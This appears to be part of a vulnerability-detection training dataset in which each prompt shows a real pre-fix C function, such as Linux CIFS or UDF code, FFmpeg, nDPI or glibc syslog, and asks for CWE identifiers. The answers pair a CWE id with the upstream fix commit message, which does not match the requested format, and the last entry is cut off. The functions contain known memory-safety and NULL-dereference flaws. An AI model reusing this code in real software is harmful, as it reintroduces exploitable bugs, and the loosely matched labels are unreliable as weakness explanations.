+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int build_ntlmssp_auth_blob(unsigned char **pbuffer,\n\t\t\t\t\tu16 *buflen,\n\t\t\t\t   struct cifs_ses *ses,\n\t\t\t\t   const struct nls_table *nls_cp)\n{\n\tint rc;\n\tAUTHENTICATE_MESSAGE *sec_blob;\n\t__u32 flags;\n\tunsigned char *tmp;\n\n\trc = setup_ntlmv2_rsp(ses, nls_cp);\n\tif (rc) {\n\t\tcifs_dbg(VFS, \"Error %d during NTLMSSP authentication\\n\", rc);\n\t\t*buflen = 0;\n\t\tgoto setup_ntlmv2_ret;\n\t}\n\t*pbuffer = kmalloc(size_of_ntlmssp_blob(ses), GFP_KERNEL);\n\tsec_blob = (AUTHENTICATE_MESSAGE *)*pbuffer;\n\n\tmemcpy(sec_blob->Signature, NTLMSSP_SIGNATURE, 8);\n\tsec_blob->MessageType = NtLmAuthenticate;\n\n\tflags = NTLMSSP_NEGOTIATE_56 |\n\t\tNTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_TARGET_INFO |\n\t\tNTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_UNICODE |\n\t\tNTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_EXTENDED_SEC;\n\tif (ses->server->sign) {\n\t\tflags |= NTLMSSP_NEGOTIATE_SIGN;\n\t\tif (!ses->server->session_estab ||\n\t\t\t\tses->ntlmssp->sesskey_per_smbsess)\n\t\t\tflags |= NTLMSSP_NEGOTIATE_KEY_XCH;\n\t}\n\n\ttmp = *pbuffer + sizeof(AUTHENTICATE_MESSAGE);\n\tsec_blob->NegotiateFlags = cpu_to_le32(flags);\n\n\tsec_blob->LmChallengeResponse.BufferOffset =\n\t\t\t\tcpu_to_le32(sizeof(AUTHENTICATE_MESSAGE));\n\tsec_blob->LmChallengeResponse.Length = 0;\n\tsec_blob->LmChallengeResponse.MaximumLength = 0;\n\n\tsec_blob->NtChallengeResponse.BufferOffset =\n\t\t\t\tcpu_to_le32(tmp - *pbuffer);\n\tif (ses->user_name != NULL) {\n\t\tmemcpy(tmp, ses->auth_key.response + CIFS_SESS_KEY_SIZE,\n\t\t\t\tses->auth_key.len - CIFS_SESS_KEY_SIZE);\n\t\ttmp += ses->auth_key.len - CIFS_SESS_KEY_SIZE;\n\n\t\tsec_blob->NtChallengeResponse.Length =\n\t\t\t\tcpu_to_le16(ses->auth_key.len - CIFS_SESS_KEY_SIZE);\n\t\tsec_blob->NtChallengeResponse.MaximumLength =\n\t\t\t\tcpu_to_le16(ses->auth_key.len - CIFS_SESS_KEY_SIZE);\n\t} else {\n\t\t/*\n\t\t * don't send an NT Response for anonymous access\n\t\t */\n\t\tsec_blob->NtChallengeResponse.Length = 0;\n\t\tsec_blob->NtChallengeResponse.MaximumLength = 0;\n\t}\n\n\tif (ses->domainName == NULL) {\n\t\tsec_blob->DomainName.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\t\tsec_blob->DomainName.Length = 0;\n\t\tsec_blob->DomainName.MaximumLength = 0;\n\t\ttmp += 2;\n\t} else {\n\t\tint len;\n\t\tlen = cifs_strtoUTF16((__le16 *)tmp, ses->domainName,\n\t\t\t\t      CIFS_MAX_DOMAINNAME_LEN, nls_cp);\n\t\tlen *= 2; /* unicode is 2 bytes each */\n\t\tsec_blob->DomainName.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\t\tsec_blob->DomainName.Length = cpu_to_le16(len);\n\t\tsec_blob->DomainName.MaximumLength = cpu_to_le16(len);\n\t\ttmp += len;\n\t}\n\n\tif (ses->user_name == NULL) {\n\t\tsec_blob->UserName.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\t\tsec_blob->UserName.Length = 0;\n\t\tsec_blob->UserName.MaximumLength = 0;\n\t\ttmp += 2;\n\t} else {\n\t\tint len;\n\t\tlen = cifs_strtoUTF16((__le16 *)tmp, ses->user_name,\n\t\t\t\t      CIFS_MAX_USERNAME_LEN, nls_cp);\n\t\tlen *= 2; /* unicode is 2 bytes each */\n\t\tsec_blob->UserName.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\t\tsec_blob->UserName.Length = cpu_to_le16(len);\n\t\tsec_blob->UserName.MaximumLength = cpu_to_le16(len);\n\t\ttmp += len;\n\t}\n\n\tsec_blob->WorkstationName.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\tsec_blob->WorkstationName.Length = 0;\n\tsec_blob->WorkstationName.MaximumLength = 0;\n\ttmp += 2;\n\n\tif (((ses->ntlmssp->server_flags & NTLMSSP_NEGOTIATE_KEY_XCH) ||\n\t\t(ses->ntlmssp->server_flags & NTLMSSP_NEGOTIATE_EXTENDED_SEC))\n\t\t\t&& !calc_seckey(ses)) {\n\t\tmemcpy(tmp, ses->ntlmssp->ciphertext, CIFS_CPHTXT_SIZE);\n\t\tsec_blob->SessionKey.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\t\tsec_blob->SessionKey.Length = cpu_to_le16(CIFS_CPHTXT_SIZE);\n\t\tsec_blob->SessionKey.MaximumLength =\n\t\t\t\tcpu_to_le16(CIFS_CPHTXT_SIZE);\n\t\ttmp += CIFS_CPHTXT_SIZE;\n\t} else {\n\t\tsec_blob->SessionKey.BufferOffset = cpu_to_le32(tmp - *pbuffer);\n\t\tsec_blob->SessionKey.Length = 0;\n\t\tsec_blob->SessionKey.MaximumLength = 0;\n\t}\n\n\t*buflen = tmp - *pbuffer;\nsetup_ntlmv2_ret:\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'CIFS: Enable encryption during session setup phase\n\nIn order to allow encryption on SMB connection we need to exchange\na session key and generate encryption and decryption keys.\n\nSigned-off-by: Pavel Shilovsky '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ephy_string_shorten (char  *str,\n                     gsize  target_length)\n{\n  char *new_str;\n  glong actual_length;\n  gulong bytes;\n\n  g_assert (target_length > 0);\n\n  if (!str)\n    return NULL;\n\n  /* FIXME: this function is a big mess. While it is utf-8 safe now,\n   * it can still split a sequence of combining characters.\n   */\n  actual_length = g_utf8_strlen (str, -1);\n\n  /* if the string is already short enough, or if it's too short for\n   * us to shorten it, return a new copy */\n  if ((gsize)actual_length <= target_length)\n    return str;\n\n  /* create string */\n  bytes = GPOINTER_TO_UINT (g_utf8_offset_to_pointer (str, target_length - 1) - str);\n\n  /* +1 for ellipsis, +1 for trailing NUL */\n  new_str = g_new (gchar, bytes + 1 + 1);\n\n  strncpy (new_str, str, bytes);\n  strcat (new_str, \"\u2026\");\n\n  g_free (str);\n\n  return new_str;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix memory corruption in ephy_string_shorten()\n\nThis fixes a regression that I introduced in 232c613472b38ff0d0d97338f366024ddb9cd228.\n\nI got my browser stuck in a crash loop today while visiting a website\nwith a page title greater than ephy-embed.c's MAX_TITLE_LENGTH, the only\ncondition in which ephy_string_shorten() is ever used. Turns out this\ncommit is wrong: an ellipses is a multibyte character (three bytes in\nUTF-8) and so we're writing past the end of the buffer when calling\nstrcat() here. Ooops.\n\nShame it took nearly four years to notice and correct this.\n\nPart-of: '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ftrace_regex_lseek(struct file *file, loff_t offset, int whence)\n{\n\tloff_t ret;\n\n\tif (file->f_mode & FMODE_READ)\n\t\tret = seq_lseek(file, offset, whence);\n\telse\n\t\tfile->f_pos = ret = 1;\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'tracing: Fix possible NULL pointer dereferences\n\nCurrently set_ftrace_pid and set_graph_function files use seq_lseek\nfor their fops.  However seq_open() is called only for FMODE_READ in\nthe fops->open() so that if an user tries to seek one of those file\nwhen she open it for writing, it sees NULL seq_file and then panic.\n\nIt can be easily reproduced with following command:\n\n  $ cd /sys/kernel/debug/tracing\n  $ echo 1234 | sudo tee -a set_ftrace_pid\n\nIn this example, GNU coreutils' tee opens the file with fopen(, \"a\")\nand then the fopen() internally calls lseek().\n\nLink: http://lkml.kernel.org/r/1365663302-2170-1-git-send-email-namhyung@kernel.org\n\nCc: Frederic Weisbecker \nCc: Ingo Molnar \nCc: Namhyung Kim \nCc: stable@vger.kernel.org\nSigned-off-by: Namhyung Kim \nSigned-off-by: Steven Rostedt '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int filter_frame(AVFilterLink *inlink, AVFrame *buf)\n{\n    AVFilterContext    *ctx = inlink->dst;\n    FPSContext           *s = ctx->priv;\n    AVFilterLink   *outlink = ctx->outputs[0];\n    int64_t delta;\n    int i, ret;\n\n    s->frames_in++;\n    /* discard frames until we get the first timestamp */\n    if (s->pts == AV_NOPTS_VALUE) {\n        if (buf->pts != AV_NOPTS_VALUE) {\n            ret = write_to_fifo(s->fifo, buf);\n            if (ret < 0)\n                return ret;\n\n            if (s->start_time != DBL_MAX && s->start_time != AV_NOPTS_VALUE) {\n                double first_pts = s->start_time * AV_TIME_BASE;\n                first_pts = FFMIN(FFMAX(first_pts, INT64_MIN), INT64_MAX);\n                s->first_pts = s->pts = av_rescale_q(first_pts, AV_TIME_BASE_Q,\n                                                     inlink->time_base);\n                av_log(ctx, AV_LOG_VERBOSE, \"Set first pts to (in:%\"PRId64\" out:%\"PRId64\")\\n\",\n                       s->first_pts, av_rescale_q(first_pts, AV_TIME_BASE_Q,\n                                                  outlink->time_base));\n            } else {\n                s->first_pts = s->pts = buf->pts;\n            }\n        } else {\n            av_log(ctx, AV_LOG_WARNING, \"Discarding initial frame(s) with no \"\n                   \"timestamp.\\n\");\n            av_frame_free(&buf);\n            s->drop++;\n        }\n        return 0;\n    }\n\n    /* now wait for the next timestamp */\n    if (buf->pts == AV_NOPTS_VALUE) {\n        return write_to_fifo(s->fifo, buf);\n    }\n\n    /* number of output frames */\n    delta = av_rescale_q_rnd(buf->pts - s->pts, inlink->time_base,\n                             outlink->time_base, s->rounding);\n\n    if (delta < 1) {\n        /* drop the frame and everything buffered except the first */\n        AVFrame *tmp;\n        int drop = av_fifo_size(s->fifo)/sizeof(AVFrame*);\n\n        av_log(ctx, AV_LOG_DEBUG, \"Dropping %d frame(s).\\n\", drop);\n        s->drop += drop;\n\n        av_fifo_generic_read(s->fifo, &tmp, sizeof(tmp), NULL);\n        flush_fifo(s->fifo);\n        ret = write_to_fifo(s->fifo, tmp);\n\n        av_frame_free(&buf);\n        return ret;\n    }\n\n    /* can output >= 1 frames */\n    for (i = 0; i < delta; i++) {\n        AVFrame *buf_out;\n        av_fifo_generic_read(s->fifo, &buf_out, sizeof(buf_out), NULL);\n\n        /* duplicate the frame if needed */\n        if (!av_fifo_size(s->fifo) && i < delta - 1) {\n            AVFrame *dup = av_frame_clone(buf_out);\n\n            av_log(ctx, AV_LOG_DEBUG, \"Duplicating frame.\\n\");\n            if (dup)\n                ret = write_to_fifo(s->fifo, dup);\n            else\n                ret = AVERROR(ENOMEM);\n\n            if (ret < 0) {\n                av_frame_free(&buf_out);\n                av_frame_free(&buf);\n                return ret;\n            }\n\n            s->dup++;\n        }\n\n        buf_out->pts = av_rescale_q(s->first_pts, inlink->time_base,\n                                    outlink->time_base) + s->frames_out;\n\n        if ((ret = ff_filter_frame(outlink, buf_out)) < 0) {\n            av_frame_free(&buf);\n            return ret;\n        }\n\n        s->frames_out++;\n    }\n    flush_fifo(s->fifo);\n\n    ret = write_to_fifo(s->fifo, buf);\n    s->pts = s->first_pts + av_rescale_q(s->frames_out, outlink->time_base, inlink->time_base);\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'avfilter/vf_fps: make sure the fifo is not empty before using it\n\nFixes Ticket2905\n\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int udf_read_inode(struct inode *inode, bool hidden_inode)\n{\n\tstruct buffer_head *bh = NULL;\n\tstruct fileEntry *fe;\n\tstruct extendedFileEntry *efe;\n\tuint16_t ident;\n\tstruct udf_inode_info *iinfo = UDF_I(inode);\n\tstruct udf_sb_info *sbi = UDF_SB(inode->i_sb);\n\tstruct kernel_lb_addr *iloc = &iinfo->i_location;\n\tunsigned int link_count;\n\tunsigned int indirections = 0;\n\tint bs = inode->i_sb->s_blocksize;\n\tint ret = -EIO;\n\nreread:\n\tif (iloc->logicalBlockNum >=\n\t    sbi->s_partmaps[iloc->partitionReferenceNum].s_partition_len) {\n\t\tudf_debug(\"block=%d, partition=%d out of range\\n\",\n\t\t\t  iloc->logicalBlockNum, iloc->partitionReferenceNum);\n\t\treturn -EIO;\n\t}\n\n\t/*\n\t * Set defaults, but the inode is still incomplete!\n\t * Note: get_new_inode() sets the following on a new inode:\n\t *      i_sb = sb\n\t *      i_no = ino\n\t *      i_flags = sb->s_flags\n\t *      i_state = 0\n\t * clean_inode(): zero fills and sets\n\t *      i_count = 1\n\t *      i_nlink = 1\n\t *      i_op = NULL;\n\t */\n\tbh = udf_read_ptagged(inode->i_sb, iloc, 0, &ident);\n\tif (!bh) {\n\t\tudf_err(inode->i_sb, \"(ino %ld) failed !bh\\n\", inode->i_ino);\n\t\treturn -EIO;\n\t}\n\n\tif (ident != TAG_IDENT_FE && ident != TAG_IDENT_EFE &&\n\t    ident != TAG_IDENT_USE) {\n\t\tudf_err(inode->i_sb, \"(ino %ld) failed ident=%d\\n\",\n\t\t\tinode->i_ino, ident);\n\t\tgoto out;\n\t}\n\n\tfe = (struct fileEntry *)bh->b_data;\n\tefe = (struct extendedFileEntry *)bh->b_data;\n\n\tif (fe->icbTag.strategyType == cpu_to_le16(4096)) {\n\t\tstruct buffer_head *ibh;\n\n\t\tibh = udf_read_ptagged(inode->i_sb, iloc, 1, &ident);\n\t\tif (ident == TAG_IDENT_IE && ibh) {\n\t\t\tstruct kernel_lb_addr loc;\n\t\t\tstruct indirectEntry *ie;\n\n\t\t\tie = (struct indirectEntry *)ibh->b_data;\n\t\t\tloc = lelb_to_cpu(ie->indirectICB.extLocation);\n\n\t\t\tif (ie->indirectICB.extLength) {\n\t\t\t\tbrelse(ibh);\n\t\t\t\tmemcpy(&iinfo->i_location, &loc,\n\t\t\t\t       sizeof(struct kernel_lb_addr));\n\t\t\t\tif (++indirections > UDF_MAX_ICB_NESTING) {\n\t\t\t\t\tudf_err(inode->i_sb,\n\t\t\t\t\t\t\"too many ICBs in ICB hierarchy\"\n\t\t\t\t\t\t\" (max %d supported)\\n\",\n\t\t\t\t\t\tUDF_MAX_ICB_NESTING);\n\t\t\t\t\tgoto out;\n\t\t\t\t}\n\t\t\t\tbrelse(bh);\n\t\t\t\tgoto reread;\n\t\t\t}\n\t\t}\n\t\tbrelse(ibh);\n\t} else if (fe->icbTag.strategyType != cpu_to_le16(4)) {\n\t\tudf_err(inode->i_sb, \"unsupported strategy type: %d\\n\",\n\t\t\tle16_to_cpu(fe->icbTag.strategyType));\n\t\tgoto out;\n\t}\n\tif (fe->icbTag.strategyType == cpu_to_le16(4))\n\t\tiinfo->i_strat4096 = 0;\n\telse /* if (fe->icbTag.strategyType == cpu_to_le16(4096)) */\n\t\tiinfo->i_strat4096 = 1;\n\n\tiinfo->i_alloc_type = le16_to_cpu(fe->icbTag.flags) &\n\t\t\t\t\t\t\tICBTAG_FLAG_AD_MASK;\n\tiinfo->i_unique = 0;\n\tiinfo->i_lenEAttr = 0;\n\tiinfo->i_lenExtents = 0;\n\tiinfo->i_lenAlloc = 0;\n\tiinfo->i_next_alloc_block = 0;\n\tiinfo->i_next_alloc_goal = 0;\n\tif (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_EFE)) {\n\t\tiinfo->i_efe = 1;\n\t\tiinfo->i_use = 0;\n\t\tret = udf_alloc_i_data(inode, bs -\n\t\t\t\t\tsizeof(struct extendedFileEntry));\n\t\tif (ret)\n\t\t\tgoto out;\n\t\tmemcpy(iinfo->i_ext.i_data,\n\t\t       bh->b_data + sizeof(struct extendedFileEntry),\n\t\t       bs - sizeof(struct extendedFileEntry));\n\t} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_FE)) {\n\t\tiinfo->i_efe = 0;\n\t\tiinfo->i_use = 0;\n\t\tret = udf_alloc_i_data(inode, bs - sizeof(struct fileEntry));\n\t\tif (ret)\n\t\t\tgoto out;\n\t\tmemcpy(iinfo->i_ext.i_data,\n\t\t       bh->b_data + sizeof(struct fileEntry),\n\t\t       bs - sizeof(struct fileEntry));\n\t} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_USE)) {\n\t\tiinfo->i_efe = 0;\n\t\tiinfo->i_use = 1;\n\t\tiinfo->i_lenAlloc = le32_to_cpu(\n\t\t\t\t((struct unallocSpaceEntry *)bh->b_data)->\n\t\t\t\t lengthAllocDescs);\n\t\tret = udf_alloc_i_data(inode, bs -\n\t\t\t\t\tsizeof(struct unallocSpaceEntry));\n\t\tif (ret)\n\t\t\tgoto out;\n\t\tmemcpy(iinfo->i_ext.i_data,\n\t\t       bh->b_data + sizeof(struct unallocSpaceEntry),\n\t\t       bs - sizeof(struct unallocSpaceEntry));\n\t\treturn 0;\n\t}\n\n\tret = -EIO;\n\tread_lock(&sbi->s_cred_lock);\n\ti_uid_write(inode, le32_to_cpu(fe->uid));\n\tif (!uid_valid(inode->i_uid) ||\n\t    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_IGNORE) ||\n\t    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_SET))\n\t\tinode->i_uid = UDF_SB(inode->i_sb)->s_uid;\n\n\ti_gid_write(inode, le32_to_cpu(fe->gid));\n\tif (!gid_valid(inode->i_gid) ||\n\t    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_IGNORE) ||\n\t    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_SET))\n\t\tinode->i_gid = UDF_SB(inode->i_sb)->s_gid;\n\n\tif (fe->icbTag.fileType != ICBTAG_FILE_TYPE_DIRECTORY &&\n\t\t\tsbi->s_fmode != UDF_INVALID_MODE)\n\t\tinode->i_mode = sbi->s_fmode;\n\telse if (fe->icbTag.fileType == ICBTAG_FILE_TYPE_DIRECTORY &&\n\t\t\tsbi->s_dmode != UDF_INVALID_MODE)\n\t\tinode->i_mode = sbi->s_dmode;\n\telse\n\t\tinode->i_mode = udf_convert_permissions(fe);\n\tinode->i_mode &= ~sbi->s_umask;\n\tread_unlock(&sbi->s_cred_lock);\n\n\tlink_count = le16_to_cpu(fe->fileLinkCount);\n\tif (!link_count) {\n\t\tif (!hidden_inode) {\n\t\t\tret = -ESTALE;\n\t\t\tgoto out;\n\t\t}\n\t\tlink_count = 1;\n\t}\n\tset_nlink(inode, link_count);\n\n\tinode->i_size = le64_to_cpu(fe->informationLength);\n\tiinfo->i_lenExtents = inode->i_size;\n\n\tif (iinfo->i_efe == 0) {\n\t\tinode->i_blocks = le64_to_cpu(fe->logicalBlocksRecorded) <<\n\t\t\t(inode->i_sb->s_blocksize_bits - 9);\n\n\t\tif (!udf_disk_stamp_to_time(&inode->i_atime, fe->accessTime))\n\t\t\tinode->i_atime = sbi->s_record_time;\n\n\t\tif (!udf_disk_stamp_to_time(&inode->i_mtime,\n\t\t\t\t\t    fe->modificationTime))\n\t\t\tinode->i_mtime = sbi->s_record_time;\n\n\t\tif (!udf_disk_stamp_to_time(&inode->i_ctime, fe->attrTime))\n\t\t\tinode->i_ctime = sbi->s_record_time;\n\n\t\tiinfo->i_unique = le64_to_cpu(fe->uniqueID);\n\t\tiinfo->i_lenEAttr = le32_to_cpu(fe->lengthExtendedAttr);\n\t\tiinfo->i_lenAlloc = le32_to_cpu(fe->lengthAllocDescs);\n\t\tiinfo->i_checkpoint = le32_to_cpu(fe->checkpoint);\n\t} else {\n\t\tinode->i_blocks = le64_to_cpu(efe->logicalBlocksRecorded) <<\n\t\t    (inode->i_sb->s_blocksize_bits - 9);\n\n\t\tif (!udf_disk_stamp_to_time(&inode->i_atime, efe->accessTime))\n\t\t\tinode->i_atime = sbi->s_record_time;\n\n\t\tif (!udf_disk_stamp_to_time(&inode->i_mtime,\n\t\t\t\t\t    efe->modificationTime))\n\t\t\tinode->i_mtime = sbi->s_record_time;\n\n\t\tif (!udf_disk_stamp_to_time(&iinfo->i_crtime, efe->createTime))\n\t\t\tiinfo->i_crtime = sbi->s_record_time;\n\n\t\tif (!udf_disk_stamp_to_time(&inode->i_ctime, efe->attrTime))\n\t\t\tinode->i_ctime = sbi->s_record_time;\n\n\t\tiinfo->i_unique = le64_to_cpu(efe->uniqueID);\n\t\tiinfo->i_lenEAttr = le32_to_cpu(efe->lengthExtendedAttr);\n\t\tiinfo->i_lenAlloc = le32_to_cpu(efe->lengthAllocDescs);\n\t\tiinfo->i_checkpoint = le32_to_cpu(efe->checkpoint);\n\t}\n\tinode->i_generation = iinfo->i_unique;\n\n\t/* Sanity checks for files in ICB so that we don't get confused later */\n\tif (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {\n\t\t/*\n\t\t * For file in ICB data is stored in allocation descriptor\n\t\t * so sizes should match\n\t\t */\n\t\tif (iinfo->i_lenAlloc != inode->i_size)\n\t\t\tgoto out;\n\t\t/* File in ICB has to fit in there... */\n\t\tif (inode->i_size > bs - udf_file_entry_alloc_offset(inode))\n\t\t\tgoto out;\n\t}\n\n\tswitch (fe->icbTag.fileType) {\n\tcase ICBTAG_FILE_TYPE_DIRECTORY:\n\t\tinode->i_op = &udf_dir_inode_operations;\n\t\tinode->i_fop = &udf_dir_operations;\n\t\tinode->i_mode |= S_IFDIR;\n\t\tinc_nlink(inode);\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_REALTIME:\n\tcase ICBTAG_FILE_TYPE_REGULAR:\n\tcase ICBTAG_FILE_TYPE_UNDEF:\n\tcase ICBTAG_FILE_TYPE_VAT20:\n\t\tif (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB)\n\t\t\tinode->i_data.a_ops = &udf_adinicb_aops;\n\t\telse\n\t\t\tinode->i_data.a_ops = &udf_aops;\n\t\tinode->i_op = &udf_file_inode_operations;\n\t\tinode->i_fop = &udf_file_operations;\n\t\tinode->i_mode |= S_IFREG;\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_BLOCK:\n\t\tinode->i_mode |= S_IFBLK;\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_CHAR:\n\t\tinode->i_mode |= S_IFCHR;\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_FIFO:\n\t\tinit_special_inode(inode, inode->i_mode | S_IFIFO, 0);\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_SOCKET:\n\t\tinit_special_inode(inode, inode->i_mode | S_IFSOCK, 0);\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_SYMLINK:\n\t\tinode->i_data.a_ops = &udf_symlink_aops;\n\t\tinode->i_op = &udf_symlink_inode_operations;\n\t\tinode->i_mode = S_IFLNK | S_IRWXUGO;\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_MAIN:\n\t\tudf_debug(\"METADATA FILE-----\\n\");\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_MIRROR:\n\t\tudf_debug(\"METADATA MIRROR FILE-----\\n\");\n\t\tbreak;\n\tcase ICBTAG_FILE_TYPE_BITMAP:\n\t\tudf_debug(\"METADATA BITMAP FILE-----\\n\");\n\t\tbreak;\n\tdefault:\n\t\tudf_err(inode->i_sb, \"(ino %ld) failed unknown file type=%d\\n\",\n\t\t\tinode->i_ino, fe->icbTag.fileType);\n\t\tgoto out;\n\t}\n\tif (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode)) {\n\t\tstruct deviceSpec *dsea =\n\t\t\t(struct deviceSpec *)udf_get_extendedattr(inode, 12, 1);\n\t\tif (dsea) {\n\t\t\tinit_special_inode(inode, inode->i_mode,\n\t\t\t\tMKDEV(le32_to_cpu(dsea->majorDeviceIdent),\n\t\t\t\t      le32_to_cpu(dsea->minorDeviceIdent)));\n\t\t\t/* Developer ID ??? */\n\t\t} else\n\t\t\tgoto out;\n\t}\n\tret = 0;\nout:\n\tbrelse(bh);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'udf: Check length of extended attributes and allocation descriptors\n\nCheck length of extended attributes and allocation descriptors when\nloading inodes from disk. Otherwise corrupted filesystems could confuse\nthe code and make the kernel oops.\n\nReported-by: Carl Henrik Lunde \nCC: stable@vger.kernel.org\nSigned-off-by: Jan Kara '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ndpi_netbios_name_interpret(char *in, size_t in_len, char *out, u_int out_len) {\n  u_int ret = 0, len, idx = in_len, out_idx = 0;\n\n  len = (*in++)/2;\n  out_len--;\n  out[out_idx] = 0;\n\n  if((len > out_len) || (len < 1) || ((2*len) > in_len))\n    return(-1);\n\n  while((len--) && (out_idx < out_len)) {\n    if((idx < 2) || (in[0] < 'A') || (in[0] > 'P') || (in[1] < 'A') || (in[1] > 'P')) {\n      out[out_idx] = 0;\n      break;\n    }\n\n    out[out_idx] = ((in[0] - 'A') << 4) + (in[1] - 'A');\n    in += 2, idx -= 2;\n\n    if(isprint(out[out_idx]))\n      out_idx++, ret++;\n  }\n\n  /* Trim trailing whitespace from the returned string */\n  if(out_idx > 0) {\n    out[out_idx] = 0;\n    out_idx--;\n\n    while((out_idx > 0) && (out[out_idx] == ' ')) {\n      out[out_idx] = 0;\n      out_idx--;\n    }\n\n  }\n\n  return(ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Added further checks'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: vsyslog(pri, fmt, ap)\n\tint pri;\n\tregister const char *fmt;\n\tva_list ap;\n{\n\tstruct tm now_tm;\n\ttime_t now;\n\tint fd;\n\tFILE *f;\n\tchar *buf = 0;\n\tsize_t bufsize = 0;\n\tsize_t prioff, msgoff;\n \tstruct sigaction action, oldaction;\n\tstruct sigaction *oldaction_ptr = NULL;\n \tint sigpipe;\n\tint saved_errno = errno;\n\n#define\tINTERNALLOG\tLOG_ERR|LOG_CONS|LOG_PERROR|LOG_PID\n\t/* Check for invalid bits. */\n\tif (pri & ~(LOG_PRIMASK|LOG_FACMASK)) {\n\t\tsyslog(INTERNALLOG,\n\t\t    \"syslog: unknown facility/priority: %x\", pri);\n\t\tpri &= LOG_PRIMASK|LOG_FACMASK;\n\t}\n\n\t/* Check priority against setlogmask values. */\n\tif ((LOG_MASK (LOG_PRI (pri)) & LogMask) == 0)\n\t\treturn;\n\n\t/* Set default facility if none specified. */\n\tif ((pri & LOG_FACMASK) == 0)\n\t\tpri |= LogFacility;\n\n\t/* Build the message in a memory-buffer stream.  */\n\tf = open_memstream (&buf, &bufsize);\n\tprioff = fprintf (f, \"<%d>\", pri);\n\t(void) time (&now);\n#ifdef USE_IN_LIBIO\n        f->_IO_write_ptr += strftime (f->_IO_write_ptr,\n                                      f->_IO_write_end - f->_IO_write_ptr,\n                                      \"%h %e %T \",\n\t\t\t\t      __localtime_r (&now, &now_tm));\n#else\n\tf->__bufp += strftime (f->__bufp, f->__put_limit - f->__bufp,\n\t\t\t       \"%h %e %T \", __localtime_r (&now, &now_tm));\n#endif\n\tmsgoff = ftell (f);\n\tif (LogTag == NULL)\n\t  LogTag = __progname;\n\tif (LogTag != NULL)\n\t  fputs_unlocked (LogTag, f);\n\tif (LogStat & LOG_PID)\n\t  fprintf (f, \"[%d]\", __getpid ());\n\tif (LogTag != NULL)\n\t  putc_unlocked (':', f), putc_unlocked (' ', f);\n\n\t/* Restore errno for %m format.  */\n\t__set_errno (saved_errno);\n\n\t/* We have the header.  Print the user's format into the buffer.  */\n\tvfprintf (f, fmt, ap);\n\n\t/* Close the memory stream; this will finalize the data\n\t   into a malloc'd buffer in BUF.  */\n\tfclose (f);\n\n\t/* Output to stderr if requested. */\n\tif (LogStat & LOG_PERROR) {\n\t\tstruct iovec iov[2];\n\t\tregister struct iovec *v = iov;\n\n\t\tv->iov_base = buf + msgoff;\n\t\tv->iov_len = bufsize - msgoff;\n\t\t++v;\n\t\tv->iov_base = (char *) \"\\n\";\n\t\tv->iov_len = 